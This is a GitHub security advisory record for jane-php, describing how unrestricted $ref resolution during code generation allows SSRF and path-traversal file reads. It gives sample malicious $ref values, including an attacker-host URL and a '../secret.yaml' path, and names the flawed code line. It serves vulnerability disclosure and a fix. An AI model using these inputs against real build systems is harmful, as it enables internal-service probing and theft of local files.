{"id":"GHSA-c3cj-3p6p-j822","summary":"Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)","details":"### Summary\njane-php resolves external `$ref` targets at code-generation time via `file_get_contents($ref)` (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: `$ref: 'http://attacker/x'` -\u003e SSRF (HTTP GET at gen time; response inlined = RFI); `$ref: '/abs/file'` -\u003e LFI; `$ref: '../secret.yaml'` -\u003e path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + `../` local content inlined into the generated code). `file://` rejected. CWE-918/CWE-98/CWE-611/CWE-22.\n\n### Details\n```php\n// Reference.php::doResolve()\n$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI\n```\n\n### Impact\nGenerating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via `../`), at build/CI time, inlining results into the output.\n\n### PoC\n`reproduce.sh` (+ `make_spec.py`, `gen.php`): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a `../`-traversal local-$ref spec (output checked for the leaked file).\n\n### Suggested fix\nDisable remote `$ref` fetching by default (or allow-list); confine local `$ref` to the spec directory (reject absolute paths and `..`). Don't `file_get_contents($ref)` on attacker-controlled URIs.\n\n[maintainer-report.txt](https://github.com/user-attachments/files/29497381/maintainer-report.txt)\n[reproduce.sh](https://github.com/user-attachments/files/29497382/reproduce.sh)\n[gen.php](https://github.com/user-attachments/files/29497384/gen.php)\n[make_spec.py](https://github.com/user-attachments/files/29497385/make_spec.py)","aliases":["CVE-2026-63415"],"modified":"2026-11-20T00:15:06.500066159Z","published":"2026-11-20T00:07:32Z","database_specific":{"cwe_ids":["CWE-22","CWE-611","CWE-918","CWE-98"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-20T00:07:32Z","nvd_published_at":"2026-11-18T22:17:22Z"},"references":[{"type":"WEB","url":"https://github.com/janephp/janephp/security/advisories/GHSA-c3cj-3p6p-j822"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63415"},{"type":"WEB","url":"https://github.com/janephp/janephp/pull/961"},{"type":"WEB","url":"https://github.com/janephp/janephp/commit/75f2bbf79ca2f2eeb13080a2cebded1263396b49"},{"type":"PACKAGE","url":"https://github.com/janephp/janephp"},{"type":"WEB","url":"https://github.com/janephp/janephp/releases/tag/v7.12.0"}],"affected":[{"package":{"name":"jane-php/open-api-3","ecosystem":"Packagist","purl":"pkg:composer/jane-php/open-api-3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.12.0"}]}],"versions":["v5.3.0","v5.3.1","v5.3.2","v5.3.3","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.2.4","v6.2.5","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.3.7","v6.3.8","v6.3.9","v7.0.0","v7.1.0","v7.1.1","v7.1.2","v7.1.3","v7.1.4","v7.1.5","v7.1.6","v7.1.7","v7.10.0","v7.10.1","v7.10.2","v7.10.3","v7.10.4","v7.11.0","v7.11.1","v7.11.2","v7.2.0","v7.2.1","v7.2.2","v7.2.3","v7.2.4","v7.2.5","v7.3.0","v7.3.1","v7.4.0","v7.4.1","v7.4.2","v7.4.3","v7.4.4","v7.5.0","v7.5.1","v7.5.2","v7.5.3","v7.5.4","v7.5.5","v7.6.0","v7.6.1","v7.6.2","v7.7.0","v7.8.0","v7.8.1","v7.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-c3cj-3p6p-j822/GHSA-c3cj-3p6p-j822.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}]}